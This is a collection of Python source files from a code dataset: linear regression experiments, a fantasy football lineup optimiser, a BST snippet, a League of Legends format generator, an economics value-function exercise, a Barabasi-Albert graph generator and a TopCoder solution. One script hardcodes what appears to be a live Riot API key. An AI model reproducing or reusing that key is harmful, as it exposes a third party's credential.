weight_train3, bias_train3, loss_train3 = grad_descent(init_weight, init_bias, trainData, trainTarget, alpha3, epochs, reg, error_tol)\n end3 = time.time()\n\n\n accuracy_train1 = accuracy_calculation(weight_train1, bias_train1, trainData, trainTarget)\n accuracy_train2 = accuracy_calculation(weight_train2, bias_train2, trainData, trainTarget)\n accuracy_train3 = accuracy_calculation(weight_train3, bias_train3, trainData, trainTarget)\n\n loss_valid1 = loss_calculation(weight_train1, bias_train1, validData, validTarget, reg)\n loss_valid2 = loss_calculation(weight_train2, bias_train2, validData, validTarget, reg)\n loss_valid3 = loss_calculation(weight_train3, bias_train3, validData, validTarget, reg)\n\n accuracy_valid1 = accuracy_calculation(weight_train1, bias_train1, validData, validTarget)\n accuracy_valid2 = accuracy_calculation(weight_train2, bias_train2, validData, validTarget)\n accuracy_valid3 = accuracy_calculation(weight_train3, bias_train3, validData, validTarget)\n\n loss_test1 = loss_calculation(weight_train1, bias_train1, testData, testTarget, reg)\n loss_test2 = loss_calculation(weight_train2, bias_train2, testData, testTarget, reg)\n loss_test3 = loss_calculation(weight_train3, bias_train3, testData, testTarget, reg)\n\n accuracy_test1 = accuracy_calculation(weight_train1, bias_train1, testData, testTarget)\n accuracy_test2 = accuracy_calculation(weight_train2, bias_train2, testData, testTarget)\n accuracy_test3 = accuracy_calculation(weight_train3, bias_train3, testData, testTarget)\n\n plt.figure()\n plt.suptitle('Training losses')\n plt.plot(loss_train1,'',loss_train2,'',loss_train3,'')\n plt.xlabel('epochs')\n plt.ylabel('losses')\n plt.grid()\n plt.legend(['MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha1, reg),'MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha2, reg),'MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha3, reg)])\n plt.savefig('Learning_rate_adjustment_training_loss_LinReg.png')\n\n plt.figure()\n plt.suptitle('Validation losses')\n plt.plot(loss_valid1,'',loss_valid2,'',loss_valid3,'')\n plt.xlabel('epochs')\n plt.ylabel('losses')\n plt.grid()\n plt.legend(['MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha1, reg),'MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha2, reg),'MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha3, reg)])\n plt.savefig('Learning_rate_adjustment_validation_loss_LinReg.png')\n\n plt.figure()\n plt.suptitle('Testing losses')\n plt.plot(loss_test1,'',loss_test2,'',loss_test3,'')\n plt.xlabel('epochs')\n plt.ylabel('losses')\n plt.grid()\n plt.legend(['MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha1, reg),'MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha2, reg),'MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha3, reg)])\n plt.savefig('Learning_rate_adjustment_testing_loss_LinReg.png')\n\n plt.figure()\n plt.suptitle('Training accuracy')\n plt.plot(accuracy_train1,'',accuracy_train2,'',accuracy_train3,'')\n plt.xlabel('epochs')\n plt.ylabel('accuracy')\n plt.grid()\n plt.legend(['MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha1, reg),'MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha2, reg),'MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha3, reg)])\n plt.savefig('Learning_rate_adjustment_training_accuracy_LinReg.png')\n \n\n plt.figure()\n plt.suptitle('Validation accuracy')\n plt.plot(accuracy_valid1,'',accuracy_valid2,'',accuracy_valid3,'')\n plt.xlabel('epochs')\n plt.ylabel('accuracy')\n plt.grid()\n plt.legend(['MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha1, reg),'MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha2, reg),'MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha3, reg)])\n plt.savefig('Learning_rate_adjustment_validation_accuracy_LinReg.png')\n \n\n plt.figure()\n plt.suptitle('Testing accuracy')\n plt.plot(accuracy_test1,'',accuracy_test2,'',accuracy_test3,'')\n plt.xlabel('epochs')\n plt.ylabel('accuracy')\n plt.grid()\n plt.legend(['MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha1, reg),'MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha2, reg),'MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha3, reg)])\n plt.savefig('Learning_rate_adjustment_testing_accuracy_LinReg.png')\n\n print_info(loss_train1[-1], loss_valid1[-1], loss_test1[-1], accuracy_train1[-1], accuracy_valid1[-1], accuracy_test1[-1], \"GD\", alpha1, reg, end1 - start1)\n print_info(loss_train2[-1], loss_valid2[-1], loss_test2[-1], accuracy_train2[-1], accuracy_valid2[-1], accuracy_test2[-1], \"GD\", alpha2, reg, end2 - start2)\n print_info(loss_train3[-1], loss_valid3[-1], loss_test3[-1], accuracy_train3[-1], accuracy_valid3[-1], accuracy_test3[-1], \"GD\", alpha3, reg, end3 - start3)\n\n\n #1.4\n alpha = 0.005\n reg1, reg2, reg3 = 0.001, 0.1, 0.5\n \n start4 = time.time()\n weight_train4, bias_train4, loss_train4 = grad_descent(init_weight, init_bias, trainData, trainTarget, alpha, epochs, reg1, error_tol)\n end4 = time.time()\n start5 = time.time()\n weight_train5, bias_train5, loss_train5 = grad_descent(init_weight, init_bias, trainData, trainTarget, alpha, epochs, reg2, error_tol)\n end5 = time.time()\n start6 = time.time()\n weight_train6, bias_train6, loss_train6 = grad_descent(init_weight, init_bias, trainData, trainTarget, alpha, epochs, reg3, error_tol)\n end6 = time.time()\n\n\n accuracy_train4 = accuracy_calculation(weight_train4, bias_train4, trainData, trainTarget)\n accuracy_train5 = accuracy_calculation(weight_train5, bias_train5, trainData, trainTarget)\n accuracy_train6 = accuracy_calculation(weight_train6, bias_train6, trainData, trainTarget)\n\n loss_valid4 = loss_calculation(weight_train4, bias_train4, validData, validTarget, reg1)\n loss_valid5 = loss_calculation(weight_train5, bias_train5, validData, validTarget, reg2)\n loss_valid6 = loss_calculation(weight_train6, bias_train6, validData, validTarget, reg3)\n\n accuracy_valid4 = accuracy_calculation(weight_train4, bias_train4, validData, validTarget)\n accuracy_valid5 = accuracy_calculation(weight_train5, bias_train5, validData, validTarget)\n accuracy_valid6 = accuracy_calculation(weight_train6, bias_train6, validData, validTarget)\n\n loss_test4 = loss_calculation(weight_train4, bias_train4, testData, testTarget, reg1)\n loss_test5 = loss_calculation(weight_train5, bias_train5, testData, testTarget, reg2)\n loss_test6 = loss_calculation(weight_train6, bias_train6, testData, testTarget, reg3)\n\n accuracy_test4 = accuracy_calculation(weight_train4, bias_train4, testData, testTarget)\n accuracy_test5 = accuracy_calculation(weight_train5, bias_train5, testData, testTarget)\n accuracy_test6 = accuracy_calculation(weight_train6, bias_train6, testData, testTarget)\n\n plt.figure()\n plt.suptitle('Training losses')\n plt.plot(loss_train4,'',loss_train5,'',loss_train6,'')\n plt.xlabel('epochs')\n plt.ylabel('losses')\n plt.grid()\n plt.legend(['MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha, reg1),'MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha, reg2),'MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha, reg3)])\n plt.savefig('Regulation_adjustment_training_loss_LinReg.png')\n\n plt.figure()\n plt.suptitle('Validation losses')\n plt.plot(loss_valid4,'',loss_valid5,'',loss_valid6,'')\n plt.xlabel('epochs')\n plt.ylabel('losses')\n plt.grid()\n plt.legend(['MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha, reg1),'MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha, reg2),'MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha, reg3)])\n plt.savefig('Regulation_adjustment_validation_loss_LinReg.png')\n\n plt.figure()\n plt.suptitle('Testing losses')\n plt.plot(loss_test4,'',loss_test5,'',loss_test6,'')\n plt.xlabel('epochs')\n plt.ylabel('losses')\n plt.grid()\n plt.legend(['MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha, reg1),'MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha, reg2),'MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha, reg3)])\n plt.savefig('Regulation_adjustment_testing_loss_LinReg.png')\n\n plt.figure()\n plt.suptitle('Training accuracy')\n plt.plot(accuracy_train4,'',accuracy_train5,'',accuracy_train6,'')\n plt.xlabel('epochs')\n plt.ylabel('accuracy')\n plt.grid()\n plt.legend(['MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha, reg1),'MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha, reg2),'MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha, reg3)])\n plt.savefig('Regulation_adjustment_training_accuracy_LinReg.png')\n\n\n plt.figure()\n plt.suptitle('Validation accuracy')\n plt.plot(accuracy_valid4,'',accuracy_valid5,'',accuracy_valid6,'')\n plt.xlabel('epochs')\n plt.ylabel('accuracy')\n plt.grid()\n plt.legend(['MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha, reg1),'MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha, reg2),'MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha, reg3)])\n plt.savefig('Regulation_adjustment_validation_accuracy_LinReg.png')\n\n\n plt.figure()\n plt.suptitle('Testing accuracy')\n plt.plot(accuracy_test4,'',accuracy_test5,'',accuracy_test6,'')\n plt.xlabel('epochs')\n plt.ylabel('accuracy')\n plt.grid()\n plt.legend(['MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha, reg1),'MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha, reg2),'MSE: \\u03B1 = {}, \\u03BB = {}'.format(alpha, reg3)])\n plt.savefig('Regulation_adjustment_testing_accuracy_LinReg.png')\n\n print_info(loss_train4[-1], loss_valid4[-1], loss_test4[-1], accuracy_train4[-1], accuracy_valid4[-1], accuracy_test4[-1], \"GD\", alpha, reg1, end4 - start4)\n print_info(loss_train5[-1], loss_valid5[-1], loss_test5[-1], accuracy_train5[-1], accuracy_valid5[-1], accuracy_test5[-1], \"GD\", alpha, reg2, end5 - start5)\n print_info(loss_train6[-1], loss_valid6[-1], loss_test6[-1], accuracy_train6[-1], accuracy_valid6[-1], accuracy_test6[-1], \"GD\", alpha, reg3, end6 - start6)\n\n\n #1.5\n start = time.time()\n w_normal_train, b_normal_train = normal_equation(trainData, trainTarget, reg)\n end = time.time()\n start1 = time.time()\n w_normal_train1, b_normal_train1 = normal_equation(trainData, trainTarget, reg1)\n end1 = time.time()\n start2 = time.time()\n w_normal_train2, b_normal_train2 = normal_equation(trainData, trainTarget, reg2)\n end2 = time.time()\n start3 = time.time()\n w_normal_train3, b_normal_train3 = normal_equation(trainData, trainTarget, reg3)\n end3 = time.time()\n \n loss_normal_train = MSE(w_normal_train, b_normal_train, trainData, trainTarget, reg)\n loss_normal_train1 = MSE(w_normal_train1, b_normal_train1, trainData, trainTarget, reg1)\n loss_normal_train2 = MSE(w_normal_train2, b_normal_train2, trainData, trainTarget, reg2)\n loss_normal_train3 = MSE(w_normal_train3, b_normal_train3, trainData, trainTarget, reg3)\n\n loss_normal_valid = MSE(w_normal_train, b_normal_train, validData, validTarget, reg)\n loss_normal_valid1 = MSE(w_normal_train1, b_normal_train1, validData, validTarget, reg1)\n loss_normal_valid2 = MSE(w_normal_train2, b_normal_train2, validData, validTarget, reg2)\n loss_normal_valid3 = MSE(w_normal_train3, b_normal_train3, validData, validTarget, reg3)\n\n loss_normal_test = MSE(w_normal_train, b_normal_train, testData, testTarget, reg)\n loss_normal_test1 = MSE(w_normal_train1, b_normal_train1, testData, testTarget, reg1)\n loss_normal_test2 = MSE(w_normal_train2, b_normal_train2, testData, testTarget, reg2)\n loss_normal_test3 = MSE(w_normal_train3, b_normal_train3, testData, testTarget, reg3)\n \n w_normal_train = [w_normal_train]\n w_normal_train1 = [w_normal_train1]\n w_normal_train2 = [w_normal_train2]\n w_normal_train3 = [w_normal_train3]\n b_normal_train = [b_normal_train]\n b_normal_train1 = [b_normal_train1]\n b_normal_train2 = [b_normal_train2]\n b_normal_train3 = [b_normal_train3]\n\n normal_accuracy_train = accuracy_calculation(w_normal_train, b_normal_train, trainData, trainTarget)\n normal_accuracy_train1 = accuracy_calculation(w_normal_train1, b_normal_train1, trainData, trainTarget)\n normal_accuracy_train2 = accuracy_calculation(w_normal_train2, b_normal_train2, trainData, trainTarget)\n normal_accuracy_train3 = accuracy_calculation(w_normal_train3, b_normal_train3, trainData, trainTarget)\n\n normal_accuracy_valid = accuracy_calculation(w_normal_train, b_normal_train, validData, validTarget)\n normal_accuracy_valid1 = accuracy_calculation(w_normal_train1, b_normal_train1, validData, validTarget)\n normal_accuracy_valid2 = accuracy_calculation(w_normal_train2, b_normal_train2, validData, validTarget)\n normal_accuracy_valid3 = accuracy_calculation(w_normal_train3, b_normal_train3, validData, validTarget)\n\n normal_accuracy_test = accuracy_calculation(w_normal_train, b_normal_train, testData, testTarget)\n normal_accuracy_test1 = accuracy_calculation(w_normal_train1, b_normal_train1, testData, testTarget)\n normal_accuracy_test2 = accuracy_calculation(w_normal_train2, b_normal_train2, testData, testTarget)\n normal_accuracy_test3 = accuracy_calculation(w_normal_train3, b_normal_train3, testData, testTarget)\n\n print_info(loss_normal_train, loss_normal_valid, loss_normal_test, normal_accuracy_train[0], normal_accuracy_valid[0], normal_accuracy_test[0], \"normal\", 0, reg, end - start)\n print_info(loss_normal_train1, loss_normal_valid1, loss_normal_test1, normal_accuracy_train1[0], normal_accuracy_valid1[0], normal_accuracy_test1[0], \"normal\", 0, reg1, end1 - start1)\n print_info(loss_normal_train2, loss_normal_valid2, loss_normal_test2, normal_accuracy_train2[0], normal_accuracy_valid2[0], normal_accuracy_test2[0], \"normal\", 0, reg2, end2 - start2)\n print_info(loss_normal_train3, loss_normal_valid3, loss_normal_test3, normal_accuracy_train3[0], normal_accuracy_valid3[0], normal_accuracy_test3[0], \"normal\", 0, reg3, end3 - start3)","sub_path":"a1/Part1.py","file_name":"Part1.py","file_ext":"py","file_size_in_byte":15385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"514098330","text":"\"\"\"The Fantasy team selection model using PuLP\"\"\"\n\nfrom pulp import *\nimport team_selector as ts\nimport player as pl\n\nmyTeam = pl.u_PlayerListArray\n\n# Allows the user to filter the candidate pool before solving\nwhile True:\n print(len(myTeam), 'Candidates remaining\\nWould you like to filter the candidate pool y/n')\n answer = input()\n if answer == 'y':\n myTeam = ts.filter_players(pl.u_PlayerListArray)\n else:\n break\n\nplayerIds = []\nplayerPoints = {}\nplayerCost = {}\nplayerGKP = {}\nplayerDEF = {}\nplayerMID = {}\nplayerFWD = {}\n\n# Creates player attribute arrays\nfor players in myTeam:\n playerIds.append(players['id'])\n playerPoints[players['id']] = players['total_points']\n playerCost[players['id']] = players['now_cost']\n playerGKP[players['id']] = 0\n playerDEF[players['id']] = 0\n playerMID[players['id']] = 0\n playerFWD[players['id']] = 0\n if players['element_type'] == 1:\n playerGKP[players['id']] = 1\n elif players['element_type'] == 2:\n playerDEF[players['id']] = 1\n elif players['element_type'] == 3:\n playerMID[players['id']] = 1\n else:\n playerFWD[players['id']] = 1\n\nallTeamArray = {i: 0 for i in range(1, 21)}\n\n# Creates player team attribute arrays\nfor team in allTeamArray:\n playerTeam = {}\n for players in myTeam:\n if players['team_code'] == team:\n playerTeam[players['id']] = 1\n else:\n playerTeam[players['id']] = 0\n allTeamArray[team] = playerTeam\n\nproblem = LpProblem('The FPL Team Problem', LpMaximize)\nplayerVariables = LpVariable.dicts(\"Player\", playerIds, 0, 1, LpInteger) # Player variables \"Player_1\" Binary value\n\nproblem += lpSum([playerPoints[i]*playerVariables[i] for i in playerIds]) # Player scores\n\nproblem += lpSum([playerGKP[i]*playerVariables[i] for i in playerIds]) == 1 # Only 1 Goalkeeper\nproblem += lpSum([playerDEF[i]*playerVariables[i] for i in playerIds]) >= 3 # More than or equal to 3 Defenders\nproblem += lpSum([playerDEF[i]*playerVariables[i] for i in playerIds]) <= 5 # Less than or equal to 5 Defenders\nproblem += lpSum([playerMID[i]*playerVariables[i] for i in playerIds]) >= 3 # More than or equal to 3 Midfielders\nproblem += lpSum([playerMID[i]*playerVariables[i] for i in playerIds]) <= 5 # Less than or equal to 5 Midfielders\nproblem += lpSum([playerFWD[i]*playerVariables[i] for i in playerIds]) >= 1 # More than or equal to 1 Striker\nproblem += lpSum([playerFWD[i]*playerVariables[i] for i in playerIds]) <= 3 # Less than or equal to 3 Strikers\n\n# Less than or equal to 3 players per team\nfor team in allTeamArray:\n teamArray = allTeamArray[team]\n problem += lpSum([teamArray[i] * playerVariables[i] for i in playerIds]) <= 3\n\nproblem += lpSum([playerCost[i]*playerVariables[i] for i in playerIds]) <= 873 # Less than or equal to 85M budget\n\nproblem += lpSum([playerVariables[i] for i in playerIds]) == 11 # 11 Players\n\n# Creates the lp problem file and solves the problem\nproblem.writeLP(\"FPL_Team_Problem.lp\")\nproblem.solve()\n\nprint(\"Status:\", LpStatus[problem.status])\nprint(\"Total number of points achieved by the team = \", value(problem.objective))\n\nfor v in problem.variables():\n if v.varValue == 1.0:\n for players in myTeam:\n if players['id'] == int(v.name[7:]):\n print(players)\n\nif __name__ == '__main__':\n print('team optimiser ran successfully')\n","sub_path":"team_optimiser.py","file_name":"team_optimiser.py","file_ext":"py","file_size_in_byte":3396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"61271820","text":"# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\nclass Solution:\n def searchBST(self, root, val):\n \"\"\"\n :type root: TreeNode\n :type val: int\n :rtype: TreeNode\n \"\"\"\n root.left = TreeNode(4)\n return root.val\n\n\nif __name__ == '__main__':\n s = Solution()\n root = TreeNode(3)\n val = 3\n print(s.searchBST(root, val))\n print(root.left.val)","sub_path":"searchBST.py","file_name":"searchBST.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"435398227","text":"from cassiopeia import riotapi\nfrom cassiopeia.type.core.common import LoadPolicy\nimport os\n\nriotapi.set_region(\"NA\")\nriotapi.set_api_key('4b286d4e-2b8a-4f85-9f61-0434547e8ca4')\nriotapi.set_load_policy(LoadPolicy.eager)\n\nformatFilePath = 'league.format'\n\nchamps = riotapi.get_champions()\nspells = riotapi.get_summoner_spells()\n\nwith open(formatFilePath, 'w') as formatFile:\n output = \",\"\n for team in ['r', 'b']:\n for position in ['t', 'j', 'm', 'c', 's']:\n for champion in champs:\n output += \"/0,1 \"\n for slot in ['ss1', 'ss2']:\n for spell in spells:\n output += \"/0,1 \"\n output += \"N \"\n\n output += \"C/True,False\"\n formatFile.write(output)\n","sub_path":"FormatCreator/LeagueFormatCreator.py","file_name":"LeagueFormatCreator.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"567514824","text":"\"\"\"\nThe graph looks really strange.\n\"\"\"\n\n\n# Import packages\nimport numpy as np\nimport math\nimport matplotlib.pyplot as plt\nfrom scipy import interpolate\nfrom scipy.optimize import fminbound\nimport scipy.optimize as opt\nimport ar1_approx as ar1\n\n\ndef utility(consumption_vector, gamma):\n \"\"\"\n Per period utility function\n \"\"\"\n\n if gamma == 1:\n U = np.log(consumption_vector)\n else:\n U = (consumption_vector ** (1 - gamma)) / (1 - gamma)\n return U\n\n\n\ngamma = 0.5\nbeta = 0.96\ndelta = 0.05\nalpha = 0.4\nsigma_z = 0.2\n\nsize_z = 4\nmu_z = 0\nrho_z = 0.8\nsigma_v = sigma_z * np.sqrt(1 - rho_z)\n\n\n\n# Use the Adda Cooper method suggested by Jason\nln_z_grid, pi_t = ar1.addacooper(size_z, mu_z,rho_z ,sigma_v)\nz_grid = np.exp(ln_z_grid)\npi = np.transpose(pi_t)\n\n\n\nlb_k = 0.1\nub_k = 1.1\nsize_k = 100\nk_grid = np.linspace(lb_k, ub_k, size_k)\n\nC = np.zeros((size_k, size_k, size_z))\n\nfor i1 in range(size_k):\n for i2 in range(size_k):\n for i3 in range(size_z):\n C[i1, i2, i3] = z_grid[i3]* k_grid[i1]**alpha - k_grid[i2] + (1 - delta)*k_grid[i1]\n\nC[C<=0] = 1e-15\n\nU = utility(C, gamma)\nU[C<0] = -9999999\n\n\nVFtol = 1e-4\nVFdist = 7\nVFmaxiter = 500\nV = np.zeros((size_k, size_z))\nVmat = np.zeros((size_k, size_k, size_z))\nVstore = np.zeros((size_k, size_z, VFmaxiter))\nVFiter = 1\n\nwhile VFdist > VFtol and VFiter < VFmaxiter:\n for i in range(size_k):\n for j in range(size_k):\n for m in range(size_z):\n EV = 0\n for n in range(size_z):\n EV += V[j, n] * pi[m, n]\n Vmat[i, j, m] = U[i, j, m] + beta * EV\n\n TV = Vmat.max(1)\n PF = np.argmax(Vmat, axis=1)\n VFdist = (np.absolute(V - TV)).max()\n print('Iteration ', VFiter, ', distance = ', VFdist)\n Vstore[:,:, VFiter] = V.reshape(size_k, size_z,)\n V = TV\n\n VFiter += 1\n\nif VFiter < VFmaxiter:\n print('Value function converged after this many iterations:', VFiter)\nelse:\n print('Value function did not converge')\n\n\nVF = V\n\noptInv = k_grid[PF]\n#print(optInv)\n\n\n\nplt.figure(figsize = [18, 5])\nplt.subplot(1,3,1)\nplt.plot(k_grid[1:], VF[1:, 0], label='$z$ = ' + str(z_grid[0]))\nplt.plot(k_grid[1:], VF[1:, 1], label='$z$ = ' + str(z_grid[1]))\nplt.plot(k_grid[1:], VF[1:, 2], label='$z$ = ' + str(z_grid[2]))\nplt.plot(k_grid[1:], VF[1:, 3], label='$z$ = ' + str(z_grid[3]))\nplt.legend(loc='lower right')\nplt.xlabel(\"Capital Endowment\")\nplt.ylabel(\"Value Function\")\nplt.title(\"Value Function\")\n\n\n\nplt.subplot(1,3,2)\nplt.plot(k_grid[:], optInv[:,0], label = '$z$ = ' + str(z_grid[0]))\nplt.plot(k_grid[:], optInv[:,1], label = '$z$ = ' + str(z_grid[0]))\nplt.plot(k_grid[:], optInv[:,2], label = '$z$ = ' + str(z_grid[0]))\nplt.plot(k_grid[:], optInv[:,3], label = '$z$ = ' + str(z_grid[0]))\nplt.legend(loc='lower right')\nplt.xlabel(\"Capital Endowment\")\nplt.ylabel(\"Investment\")\nplt.title(\"Investment\")\nplt.show()\n","sub_path":"ProbSets/Econ/ProbSet1/Exercise3.py","file_name":"Exercise3.py","file_ext":"py","file_size_in_byte":2895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"103637898","text":"#!/usr/bin/env python3\n# coding:utf-8\n\n# BA(Barabasi-Albert) model \n\nimport sys\nimport random\n\n# 初期完全グラフのノード数\nm = 3\n\nclass BA:\n def __init__(self):\n random.seed()\n \n # リンク格納用 \n # e.g. AがBとCに繋がっている状態 => self.link[A] = [B, C]\n\n self.link = {}\n\n # 各ノードの次数格納\n self.degree_count = {}\n\n # (初期条件)完全グラフの作成\n\n for source in range(m):\n self.link[source] = []\n self.degree_count[source] = m - 1\n\n for target in range(source + 1, m):\n self.link[source] += [target]\n \n\n # 総次数と総ノード数\n self.All_degree = m * (m - 1)\n self.Number_of_nodes = m - 1\n self.Number_of_links = m * (m - 1) / 2\n \n \n\n def _generate(self):\n\n # 最大ノード数をコマンドライン引数で指定\n node_limit = int(sys.argv[1])\n\n while self.Number_of_nodes < node_limit:\n self._make_BAmodel()\n \n\n # 後で関数を分割する\n def _make_BAmodel(self):\n \n # 各ノードの次数で幅取ってルーレット選択\n _start = 0\n _end = 0\n _roulette = random.randint(1,self.All_degree)\n\n # ルーレット選択確認用変数\n temp = -1\n \n\n self.Number_of_nodes += 1\n\n self.link[self.Number_of_nodes] = []\n \n # リンク生成本数 : m - 1 (ここではm = 3)\n\n _loop_condition = True\n _counter = 0\n\n while _loop_condition: \n \n _start = 0\n _end = 0\n _roulette = random.randint(0,self.All_degree)\n \n\n for target in self.degree_count:\n\n if _counter > m - 1:\n _loop_condition = False\n break\n\n \n _end = _end + self.degree_count[target]\n\n if _start <= _roulette < _end and target not in self.link[self.Number_of_nodes]:\n\n self.link[self.Number_of_nodes] += [target]\n self.degree_count[target] += 1\n\n self.All_degree += 2\n temp = target\n _counter += 1\n break\n \n else:\n _start = _start + self.degree_count[target]\n\n self.degree_count[self.Number_of_nodes] = m\n self.Number_of_links += m\n \n \n # リンク表示用関数\n def _printLink(self):\n for source in self.link:\n for target in self.link[source]:\n print(source, target)\n \n\n\nif __name__ == \"__main__\":\n\n if len(sys.argv) != 2:\n print(\"Usage: ./BA.py Max_Number_of_Nodes\")\n sys.exit()\n\n graph = BA()\n graph._generate()\n graph._printLink()\n \n\n\n\n\n\n\n","sub_path":"BA.py","file_name":"BA.py","file_ext":"py","file_size_in_byte":2971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"515363980","text":"class Solution:\n def combine(self, n: int, k: int) -> List[List[int]]:\n if n <= 0 or k <= 0 or k > n:\n return []\n res = []\n\n def dfs(level, start, pre):\n if level == k:\n res.append(pre)\n return\n for i in range(start, n - (k - level) + 2):\n dfs(level + 1, i + 1, pre + [i])\n\n dfs(0, 1, [])\n return res\n","sub_path":"Week_03/combine.py","file_name":"combine.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"95994009","text":"import math,string,itertools,fractions,heapq,collections,re,array,bisect,random\n\nclass Education:\n def minimize(self, desire, tests):\n key = {\"A\":90,\n \"B\":80,\n \"C\":70,\n \"D\":60\n }\n score = key[desire]\n \n needed_score = (float(score) * (len(tests) + 1)) - sum(tests)\n if score <= needed_score <= 100:\n return needed_score\n elif sum(tests)/(len(tests)+1) >= score:\n return 0\n else:\n return -1\n\n# BEGIN KAWIGIEDIT TESTING\n# Generated by KawigiEdit-pf 2.3.0\nimport sys\nimport time\ndef KawigiEdit_RunTest(testNum, p0, p1, hasAnswer, p2):\n\tsys.stdout.write(str(\"Test \") + str(testNum) + str(\": [\") + str(\"\\\"\") + str(p0) + str(\"\\\"\") + str(\",\") + str(\"{\"))\n\tfor i in range(len(p1)):\n\t\tif (i > 0):\n\t\t\tsys.stdout.write(str(\",\"))\n\t\t\n\t\tsys.stdout.write(str(p1[i]))\n\t\n\tsys.stdout.write(str(\"}\"))\n\tprint(str(\"]\"))\n\tobj = Education()\n\tstartTime = time.clock()\n\tanswer = obj.minimize(p0, p1)\n\tendTime = time.clock()\n\tres = True\n\tprint(str(\"Time: \") + str((endTime - startTime)) + str(\" seconds\"))\n\tif (hasAnswer):\n\t\tprint(str(\"Desired answer:\"))\n\t\tprint(str(\"\\t\") + str(p2))\n\t\n\tprint(str(\"Your answer:\"))\n\tprint(str(\"\\t\") + str(answer))\n\tif (hasAnswer):\n\t\tres = answer == p2\n\t\n\tif (not res):\n\t\tprint(str(\"DOESN'T MATCH!!!!\"))\n\telif ((endTime - startTime) >= 2):\n\t\tprint(str(\"FAIL the timeout\"))\n\t\tres = False\n\telif (hasAnswer):\n\t\tprint(str(\"Match :-)\"))\n\telse:\n\t\tprint(str(\"OK, but is it right?\"))\n\t\n\tprint(str(\"\"))\n\treturn res\n\nall_right = True\ntests_disabled = False\n\n\n# ----- test 0 -----\ndisabled = False\np0 = \"A\"\np1 = (0,70)\np2 = -1\nall_right = (disabled or KawigiEdit_RunTest(0, p0, p1, True, p2) ) and all_right\ntests_disabled = tests_disabled or disabled\n# ------------------\n\n# ----- test 1 -----\ndisabled = False\np0 = \"D\"\np1 = (100,100,100,100,100,100)\np2 = 0\nall_right = (disabled or KawigiEdit_RunTest(1, p0, p1, True, p2) ) and all_right\ntests_disabled = tests_disabled or disabled\n# ------------------\n\n# ----- test 2 -----\ndisabled = False\np0 = \"B\"\np1 = (80,80,80,73)\np2 = 87\nall_right = (disabled or KawigiEdit_RunTest(2, p0, p1, True, p2) ) and all_right\ntests_disabled = tests_disabled or disabled\n# ------------------\n\n# ----- test 3 -----\ndisabled = False\np0 = \"B\"\np1 = (80,80,80,73,79)\np2 = 88\nall_right = (disabled or KawigiEdit_RunTest(3, p0, p1, True, p2) ) and all_right\ntests_disabled = tests_disabled or disabled\n# ------------------\n\n# ----- test 4 -----\ndisabled = False\np0 = \"A\"\np1 = (80,)\np2 = 100\nall_right = (disabled or KawigiEdit_RunTest(4, p0, p1, True, p2) ) and all_right\ntests_disabled = tests_disabled or disabled\n# ------------------\n\nif (all_right):\n\tif (tests_disabled):\n\t\tprint(str(\"You're a stud (but some test cases were disabled)!\"))\n\telse:\n\t\tprint(str(\"You're a stud (at least on given cases)!\"))\n\t\nelse:\n\tprint(str(\"Some of the test cases had errors.\"))\n\n# PROBLEM STATEMENT\n# Even students who hate math find one calculation very useful -- what is the lowest\n# score I can get on the last test and pull out a certain grade? Let's\n# write a program to help them minimize their education.\n# \n# We will assume that an average score of 90 or higher is rewarded with an A grade,\n# 80 or higher (but less than 90) is a B, 70 or higher (but less than 80) is a C, 60 or higher (but less \n# than 70) is a D. All test scores\n# are integers between 0 and 100 inclusive and the average is NOT rounded -- for\n# example an average of 89.99 does NOT get you an A.\n# \n# Create a class Education that contains a method minimize that is given a string desire\n# indicating the desired\n# grade and a tuple (integer) tests containing the scores on all but the final test.\n# The method returns the lowest possible\n# test score for the final test that will earn at least the desired grade. If even\n# a perfect score won't get the desired grade, return -1.\n# \n# The desired grade will be given as a string of length 1, either \"A\", \"B\", 